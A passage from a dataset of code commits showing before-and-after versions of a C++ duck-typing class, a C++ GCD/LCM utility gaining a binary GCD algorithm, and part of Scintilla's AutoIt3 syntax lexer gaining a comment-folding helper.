OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"c_duck_type\/duck_type.h\"\n#include \"c_duck_type\/nil_class.h\"\n#include \"c_duck_type\/string.h\"\n#include \"c_duck_type\/integer.h\"\n#include \"c_duck_type\/real.h\"\n#include \"c_duck_type\/boolean.h\"\n#include <sstream>\n#include <cstring>\n\nnamespace CDuckType {\n\nDuckType::DuckType()\n{\n value_ = &nil;\n}\n\nDuckType::DuckType(const DuckType &object)\n{\n}\n\nDuckType::DuckType(const BaseType &object)\n{\n value_ = object.dup();\n}\n\nDuckType::~DuckType()\n{\n if (value_ && !value_->is_a<NilClass>())\n delete value_;\n}\n\nDuckType &DuckType::swap(DuckType &value)\n{\n BaseType *v = value_;\n value_ = value.value_;\n value.value_ = v;\n return *this;\n}\n\nDuckType &DuckType::operator=(const DuckType &value)\n{\n throw std::runtime_error(\"implement me\");\n return *this;\n}\n\nDuckType &DuckType::operator=(const BaseType &value)\n{\n throw std::runtime_error(\"implement me\");\n return *this;\n}\n\nDuckType &DuckType::operator=(const char* value)\n{\n if (value_ && value_->is_a<String>()) {\n static_cast<String*>(value_)->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new String(value);\n }\n else {\n delete value_;\n value_ = new String(value);\n }\n return *this;\n}\n\nDuckType &DuckType::operator=(integer_type value)\n{\n if (value_ && value_->is_a<Integer>()) {\n static_cast<Integer*>(value_)->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new Integer(value);\n }\n else {\n delete value_;\n value_ = new Integer(value);\n }\n return *this;\n}\n\nDuckType &DuckType::operator=(real_type value)\n{\n if (value_ && value_->is_a<Real>()) {\n static_cast<Real*>(value_)->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new Real(value);\n }\n else {\n delete value_;\n value_ = new Real(value);\n }\n return *this;\n}\n\nDuckType &DuckType::operator=(bool value)\n{\n if (value_ && value_->is_a<Boolean>()) {\n Boolean *b = static_cast<Boolean*>(value_);\n b->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new Boolean(value);\n }\n else {\n delete value_;\n value_ = new Boolean(value);\n }\n return *this;\n}\n\nstring_type DuckType::to_string() const\n{\n return value_->to_string();\n}\n\ninteger_type DuckType::to_integer() const\n{\n return value_->to_integer();\n}\n\nreal_type DuckType::to_real() const\n{\n return value_->to_real();\n}\n\nbool DuckType::is_a(const DuckType &object) const\n{\n if (value_)\n return value_->is_a(*object.value_);\n else\n return false;\n}\n\nbool DuckType::is_a(const BaseType &object) const\n{\n if (value_)\n return value_->is_a(object);\n else\n return false;\n}\n\n} \/\/ CDuckType\n<commit_msg>Implemented more DuckType constructors.<commit_after>\/*\n * Copyright (c) 2011 Isaac W. Foraker, all rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * \n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * \n * 3. Neither the name of the Author nor the names of its contributors\n * may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n * \n * THIS SOFTWARE AND DOCUMENTATION IS PROVIDED BY THE AUTHOR AND\n * CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"c_duck_type\/duck_type.h\"\n#include \"c_duck_type\/nil_class.h\"\n#include \"c_duck_type\/string.h\"\n#include \"c_duck_type\/integer.h\"\n#include \"c_duck_type\/real.h\"\n#include \"c_duck_type\/boolean.h\"\n#include <sstream>\n#include <cstring>\n\nnamespace CDuckType {\n\nDuckType::DuckType()\n{\n value_ = &nil;\n}\n\nDuckType::DuckType(const DuckType &object)\n{\n value_ = object.value_->dup();\n}\n\nDuckType::DuckType(const BaseType &object)\n{\n value_ = object.dup();\n}\n\nDuckType::DuckType(const char *value)\n{\n value_ = new String(value);\n}\n\nDuckType::DuckType(integer_type value)\n{\n value_ = new Integer(value);\n}\n\nDuckType::DuckType(real_type value)\n{\n value_ = new Real(value);\n}\n\nDuckType::DuckType(bool value)\n{\n value_ = new Boolean(value);\n}\n\nDuckType::~DuckType()\n{\n if (value_ && value_ != &nil)\n delete value_;\n}\n\nDuckType &DuckType::swap(DuckType &value)\n{\n BaseType *v = value_;\n value_ = value.value_;\n value.value_ = v;\n return *this;\n}\n\nDuckType &DuckType::operator=(const DuckType &value)\n{\n throw std::runtime_error(\"implement me\");\n return *this;\n}\n\nDuckType &DuckType::operator=(const BaseType &value)\n{\n throw std::runtime_error(\"implement me\");\n return *this;\n}\n\nDuckType &DuckType::operator=(const char* value)\n{\n if (value_ && value_->is_a<String>()) {\n static_cast<String*>(value_)->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new String(value);\n }\n else {\n delete value_;\n value_ = new String(value);\n }\n return *this;\n}\n\nDuckType &DuckType::operator=(integer_type value)\n{\n if (value_ && value_->is_a<Integer>()) {\n static_cast<Integer*>(value_)->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new Integer(value);\n }\n else {\n delete value_;\n value_ = new Integer(value);\n }\n return *this;\n}\n\nDuckType &DuckType::operator=(real_type value)\n{\n if (value_ && value_->is_a<Real>()) {\n static_cast<Real*>(value_)->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new Real(value);\n }\n else {\n delete value_;\n value_ = new Real(value);\n }\n return *this;\n}\n\nDuckType &DuckType::operator=(bool value)\n{\n if (value_ && value_->is_a<Boolean>()) {\n Boolean *b = static_cast<Boolean*>(value_);\n b->assign(value);\n }\n else if (value_ && value_->equals(nil)) {\n value_ = new Boolean(value);\n }\n else {\n delete value_;\n value_ = new Boolean(value);\n }\n return *this;\n}\n\nstring_type DuckType::to_string() const\n{\n return value_->to_string();\n}\n\ninteger_type DuckType::to_integer() const\n{\n return value_->to_integer();\n}\n\nreal_type DuckType::to_real() const\n{\n return value_->to_real();\n}\n\nbool DuckType::is_a(const DuckType &object) const\n{\n if (value_)\n return value_->is_a(*object.value_);\n else\n return false;\n}\n\nbool DuckType::is_a(const BaseType &object) const\n{\n if (value_)\n return value_->is_a(object);\n else\n return false;\n}\n\n} \/\/ CDuckType\n<|endoftext|>"} {"text":"<commit_before>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013 rajendrauppal\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <iostream>\n\n#include \"Exceptions.h\"\n#include \"GcdLcm.h\"\n\nusing std::cout;\nusing std::cin;\nusing std::endl;\n\nint GcdLcm::GCD_Euclidean_Iterative(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\twhile ( n ) {\n\t\tint temp = n;\n\t\tn = m % n;\n\t\tm = temp;\n\t}\n\n\treturn m;\n}\n\nint GcdLcm::GCD_Euclidean_Recursive(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\treturn GCD_Euclidean_Recursive(n, m % n);\n}\n\nint GcdLcm::GCD_AlternateEuclidean_Iterative(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\twhile ( m != n ) {\n\t\tif ( m > n )\n\t\t\tm = m - n;\n\t\telse\n\t\t\tn = n - m;\n\t}\n\n\treturn m;\n}\n\nint GcdLcm::GCD_AlternateEuclidean_Recursive(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\tif ( m == n ) return m;\n\tif ( m > n )\n\t\treturn GCD_AlternateEuclidean_Recursive(m - n, n);\n\telse\n\t\treturn GCD_AlternateEuclidean_Recursive(m, n - m);\n}\n\nint GcdLcm::GCD_Binary_Iterative(int m, int n)\n{\n\treturn 0;\n}\n\n\/* Binary GCD algorithm (Credit: en.wikipedia.org\/wiki\/Binary_GCD_algorithm)\n-----------------------------------------------\nm\t\tn\t\tgcd\n-----------------------------------------------\neven\teven\t\t2 * gcd( m\/2, n\/2 )\neven\todd\t\t\tgcd( m\/2, n )\nodd\t\t\teven\tgcd( m, n\/2 )\nodd\t\t\todd\t\tm >= n then gcd( (m - n)\/2, n )\n\t\t\t\t m < n then gcd( (n - m)\/2, m )\n-----------------------------------------------\n*\/\nint GcdLcm::GCD_Binary_Recursive(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\n\tif ( m == n ) return m;\n\n\tbool m_even = ~m & 1;\n\tbool n_even = ~n & 1;\n\t\n\tif ( m_even && n_even ) \n\t\treturn GCD_Binary_Recursive( m >> 1, n >> 1 ) << 1;\n\n\tif ( m_even && !n_even ) \n\t\treturn GCD_Binary_Recursive( m >> 1, n );\n\n\tif ( !m_even && n_even ) \n\t\treturn GCD_Binary_Recursive( m, n >> 1 );\n\n\tif ( m >= n ) \n\t\treturn GCD_Binary_Recursive( (m - n) >> 1, n );\n\telse \n\t\treturn GCD_Binary_Recursive( (n - m) >> 1, m );\n}\n\nint GcdLcm::LCM_Iterative(int m, int n)\n{\n\treturn 0;\n}\n\nint GcdLcm::LCM_Recursive(int m, int n)\n{\n\treturn 0;\n}\n\nint GcdLcm::GCD_UsingLCM(int m, int n)\n{\n\treturn 0;\n}\n\n\nint main()\n{\n\tGcdLcm gcdlcm;\n\tint nums[13][2] = {{0,1}, {1,0}, {0,0}, {1,1}, {-1,1}, {1,-1}, {-1,-1}, {1,1}, {2,3}, {10,10}, {121,11}, {24,60}, {36253652,183728732}};\n\tfor ( size_t i = 0; i < 13; ++i ) {\n\t\ttry \n\t\t{\n\t\t\tcout << gcdlcm.GCD_Euclidean_Iterative(nums[i][0], nums[i][1]) << endl;\n\t\t\tcout << gcdlcm.GCD_Euclidean_Recursive(nums[i][0], nums[i][1]) << endl;\n\n\t\t\tcout << gcdlcm.GCD_AlternateEuclidean_Iterative(nums[i][0], nums[i][1]) << endl;\n\t\t\tcout << gcdlcm.GCD_AlternateEuclidean_Recursive(nums[i][0], nums[i][1]) << endl;\n\n\t\t\tcout << gcdlcm.GCD_Binary_Recursive(nums[i][0], nums[i][1]) << endl;\n\t\t} \n\t\tcatch (CPPExceptions& e) \n\t\t{\n\t\t\tcout << e.message() << endl;\n\t\t}\n\t}\n\n\tcout << \"Press Enter to continue...\" << endl;\n\tcin.get();\n\treturn 0;\n}<commit_msg>Implemented Binary GCD algorithm<commit_after>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013 rajendrauppal\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <iostream>\n\n#include \"Exceptions.h\"\n#include \"GcdLcm.h\"\n\nusing std::cout;\nusing std::cin;\nusing std::endl;\n\nint GcdLcm::GCD_Euclidean_Iterative(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\twhile ( n ) {\n\t\tint temp = n;\n\t\tn = m % n;\n\t\tm = temp;\n\t}\n\n\treturn m;\n}\n\nint GcdLcm::GCD_Euclidean_Recursive(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\treturn GCD_Euclidean_Recursive(n, m % n);\n}\n\nint GcdLcm::GCD_AlternateEuclidean_Iterative(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\twhile ( m != n ) {\n\t\tif ( m > n )\n\t\t\tm = m - n;\n\t\telse\n\t\t\tn = n - m;\n\t}\n\n\treturn m;\n}\n\nint GcdLcm::GCD_AlternateEuclidean_Recursive(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\t\n\n\tif ( m == n ) return m;\n\tif ( m > n )\n\t\treturn GCD_AlternateEuclidean_Recursive(m - n, n);\n\telse\n\t\treturn GCD_AlternateEuclidean_Recursive(m, n - m);\n}\n\nint GcdLcm::GCD_Binary_Iterative(int m, int n)\n{\n\treturn 0;\n}\n\n\/* Binary GCD algorithm (Credit: en.wikipedia.org\/wiki\/Binary_GCD_algorithm)\n-----------------------------------------------\nm\t\tn\t\tgcd\n-----------------------------------------------\neven\teven\t2 * gcd( m\/2, n\/2 )\neven\todd\t\tgcd( m\/2, n )\nodd\t\teven\tgcd( m, n\/2 )\nodd\t\todd\t\tm >= n then gcd( (m - n)\/2, n )\n\t\t\t\tm < n then gcd( (n - m)\/2, m )\n-----------------------------------------------\n*\/\nint GcdLcm::GCD_Binary_Recursive(int m, int n)\n{\n\tif ( (m < 0) || (n < 0) ) throw InvalidInputException();\n\tif ( !m && !n ) throw InvalidInputException();\n\tif ( m && !n ) return m;\n\tif ( !m && n ) return n;\n\tif ( m == n ) return m;\n\n\tbool m_even = ~m & 1;\n\tbool n_even = ~n & 1;\n\t\n\tif ( m_even && n_even ) \n\t\treturn GCD_Binary_Recursive( m >> 1, n >> 1 ) << 1;\n\n\tif ( m_even && !n_even ) \n\t\treturn GCD_Binary_Recursive( m >> 1, n );\n\n\tif ( !m_even && n_even ) \n\t\treturn GCD_Binary_Recursive( m, n >> 1 );\n\n\tif ( m >= n ) \n\t\treturn GCD_Binary_Recursive( (m - n) >> 1, n );\n\telse \n\t\treturn GCD_Binary_Recursive( (n - m) >> 1, m );\n}\n\nint GcdLcm::LCM_Iterative(int m, int n)\n{\n\treturn 0;\n}\n\nint GcdLcm::LCM_Recursive(int m, int n)\n{\n\treturn 0;\n}\n\nint GcdLcm::GCD_UsingLCM(int m, int n)\n{\n\treturn 0;\n}\n\n\nint main()\n{\n\tGcdLcm gcdlcm;\n\tint nums[13][2] = {{0,1}, {1,0}, {0,0}, {1,1}, {-1,1}, {1,-1}, {-1,-1}, {1,1}, {2,3}, {10,10}, {121,11}, {24,60}, {36253652,183728732}};\n\tfor ( size_t i = 0; i < 13; ++i ) {\n\t\ttry \n\t\t{\n\t\t\tcout << gcdlcm.GCD_Euclidean_Iterative(nums[i][0], nums[i][1]) << endl;\n\t\t\tcout << gcdlcm.GCD_Euclidean_Recursive(nums[i][0], nums[i][1]) << endl;\n\n\t\t\tcout << gcdlcm.GCD_AlternateEuclidean_Iterative(nums[i][0], nums[i][1]) << endl;\n\t\t\tcout << gcdlcm.GCD_AlternateEuclidean_Recursive(nums[i][0], nums[i][1]) << endl;\n\n\t\t\tcout << gcdlcm.GCD_Binary_Recursive(nums[i][0], nums[i][1]) << endl;\n\t\t} \n\t\tcatch (CPPExceptions& e) \n\t\t{\n\t\t\tcout << e.message() << endl;\n\t\t}\n\t}\n\n\tcout << \"Press Enter to continue...\" << endl;\n\tcin.get();\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Scintilla source code edit control\n\/\/ @file LexAU3.cxx\n\/\/ Lexer for AutoIt3 http:\/\/www.hiddensoft.com\/autoit3\n\/\/ by Jos van der Zande, jvdzande@yahoo.com \n\/\/\n\/\/ Changes:\n\/\/\n\/\/ Copyright for Scintilla: 1998-2001 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\/\/ Scintilla source code edit control\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <stdarg.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\nstatic inline bool IsTypeCharacter(const int ch)\n{\n return ch == '$';\n}\nstatic inline bool IsAWordChar(const int ch)\n{\n return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_' || ch == '-');\n}\n\nstatic inline bool IsAWordStart(const int ch)\n{\n return (ch < 0x80) && (isalnum(ch) || ch == '_' || ch == '@' || ch == '#' || ch == '{' || ch == '+' || ch == '!' || ch == '#' || ch == '^');\n}\n\nstatic void ColouriseAU3Doc(unsigned int startPos, \n\t\t\t\t\t\t\tint length, int initStyle,\n\t\t\t\t\t\t\tWordList *keywordlists[],\n\t\t\t\t\t\t\tAccessor &styler) {\n\n WordList &keywords = *keywordlists[0];\n WordList &keywords2 = *keywordlists[1];\n WordList &keywords3 = *keywordlists[2];\n WordList &keywords4 = *keywordlists[3];\n styler.StartAt(startPos);\n\n StyleContext sc(startPos, length, initStyle, styler);\n\tchar si,sk;\n\tsi=0;\n\tsk=0;\n for (; sc.More(); sc.Forward()) {\n\t\tchar s[100];\n\t\tsc.GetCurrentLowered(s, sizeof(s));\n\t\tswitch (sc.state)\n {\n case SCE_AU3_COMMENTBLOCK:\n {\n if (sc.ch == '#') {sc.SetState(SCE_AU3_DEFAULT);}\n\t\t\t\tbreak;\n\t\t\t}\n case SCE_AU3_COMMENT:\n {\n if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_OPERATOR:\n {\n sc.SetState(SCE_AU3_DEFAULT);\n break;\n }\n case SCE_AU3_KEYWORD:\n {\n if (!IsAWordChar(sc.ch))\n {\n if (!IsTypeCharacter(sc.ch))\n {\n\t\t\t\t\t\tif (strcmp(s, \"#cs\")==0 || strcmp(s, \"#comments_start\")==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_COMMENTBLOCK);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_COMMENTBLOCK);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (strcmp(s, \"#ce\")==0 || strcmp(s, \"#comments_end\")==0) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_COMMENTBLOCK);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (keywords.InList(s)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_KEYWORD);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t\t\/\/sc.SetState(SCE_AU3_KEYWORD);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (keywords2.InList(s)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_FUNCTION);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t\t\/\/sc.SetState(SCE_AU3_FUNCTION);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (keywords3.InList(s)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_MACRO);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (!IsAWordChar(sc.ch)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\t\n if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_NUMBER:\n {\n if (!IsAWordChar(sc.ch)) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_VARIABLE:\n {\n if (!IsAWordChar(sc.ch)) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_STRING:\n {\n\t\t\t\tsk = 0;\n\t\t\t\t\/\/ check for \" in and single qouted string\n\t if (si == 1){\n\t\t\t\t\tif (sc.ch == '\\\"'){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n\t\t\t\t\/\/ check for ' in and double qouted string\n if (si == 2){\n\t\t\t\t\tif (sc.ch == '\\''){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n\t\t\t\t\/\/ find Sendkeys in an STRING\n\t\t\t\tif (sc.ch == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '+' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '!' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '^' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '#' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tbreak;\n }\n \n case SCE_AU3_SENT:\n {\n\t\t\t\t\/\/ Sent key string ended \n\t\t\t\tif (sk == 1) \n\t\t\t\t{\n\t\t\t\t\t\/\/ set color to SENTKEY when valid sentkey .. else set to comment to show its wrong\n\t\t\t\t\tif (keywords4.InList(s)) \n\t\t\t\t\t{\n\t\t\t\t\t\tsc.ChangeState(SCE_AU3_SENT);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tsc.ChangeState(SCE_AU3_STRING);\n\t\t\t\t\t}\n\t\t\t\t\tsc.SetState(SCE_AU3_STRING);\n\t\t\t\t\tsk=0;\n\t\t\t\t}\n\t\t\t\t\/\/ check if next portion is again a sentkey\n\t\t\t\tif (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n\t\t\t\tif (sc.ch == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '+' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '!' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '^' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '#' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\t\/\/ check to see if the string ended...\n\t\t\t\t\/\/ check for \" in and single qouted string\n\t if (si == 1){\n\t\t\t\t\tif (sc.ch == '\\\"'){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n\t\t\t\t\/\/ check for ' in and double qouted string\n if (si == 2){\n\t\t\t\t\tif (sc.ch == '\\''){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n\t\t\t\tbreak;\n }\n } \/\/switch (sc.state)\n\n \/\/ Determine if a new state should be entered:\n if (sc.state == SCE_AU3_SENT)\n {\n\t\t\tif (sc.ch == '}' && sc.chNext != '}') \n\t\t\t{\n\t\t\t\tsk = 1;\n\t\t\t}\t\t\t\n\t\t}\n\t\tif (sc.state == SCE_AU3_DEFAULT)\n {\n if (sc.ch == ';') {sc.SetState(SCE_AU3_COMMENT);}\n else if (sc.ch == '#') {sc.SetState(SCE_AU3_KEYWORD);}\n else if (IsAWordStart(sc.ch)) {sc.SetState(SCE_AU3_KEYWORD);}\n else if (sc.ch == '@') {sc.SetState(SCE_AU3_KEYWORD);}\n else if (sc.ch == '\\\"') {\n\t\t\t\tsc.SetState(SCE_AU3_STRING);\n\t\t\t\tsi = 1;\t}\n else if (sc.ch == '\\'') {\n\t\t\t\tsc.SetState(SCE_AU3_STRING);\n\t\t\t\tsi = 2;\t}\n else if (sc.ch == '$') {sc.SetState(SCE_AU3_VARIABLE);}\n else if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {sc.SetState(SCE_AU3_NUMBER);}\n \/\/else if (IsAWordStart(sc.ch)) {sc.SetState(SCE_AU3_KEYWORD);}\n else if (isoperator(static_cast<char>(sc.ch)) || (sc.ch == '\\\\')) {sc.SetState(SCE_AU3_OPERATOR);}\n\t\t\telse if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n }\n } \/\/for (; sc.More(); sc.Forward())\n sc.Complete();\n}\n\n\/\/\n\nstatic const char * const AU3WordLists[] = {\n \"#autoit keywords\",\n \"#autoit functions\",\n \"#autoit macros\",\n \"#autoit Sent keys\",\n 0\n};\nLexerModule lmAU3(SCLEX_AU3, ColouriseAU3Doc, \"au3\", NULL , AU3WordLists);\n<commit_msg>Folder added by Jos.<commit_after>\/\/ Scintilla source code edit control\n\/\/ @file LexAU3.cxx\n\/\/ Lexer for AutoIt3 http:\/\/www.hiddensoft.com\/autoit3\n\/\/ by Jos van der Zande, jvdzande@yahoo.com \n\/\/\n\/\/ Changes:\n\/\/\n\/\/ Copyright for Scintilla: 1998-2001 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\/\/ Scintilla source code edit control\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <stdarg.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\nstatic bool IsAU3Comment(Accessor &styler, int pos, int len) {\n\treturn len>0 && styler[pos]==';';\n}\n\nstatic inline bool IsTypeCharacter(const int ch)\n{\n return ch == '$';\n}\nstatic inline bool IsAWordChar(const int ch)\n{\n return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_' || ch == '-');\n}\n\nstatic inline bool IsAWordStart(const int ch)\n{\n return (ch < 0x80) && (isalnum(ch) || ch == '_' || ch == '@' || ch == '#' || ch == '{' || ch == '+' || ch == '!' || ch == '#' 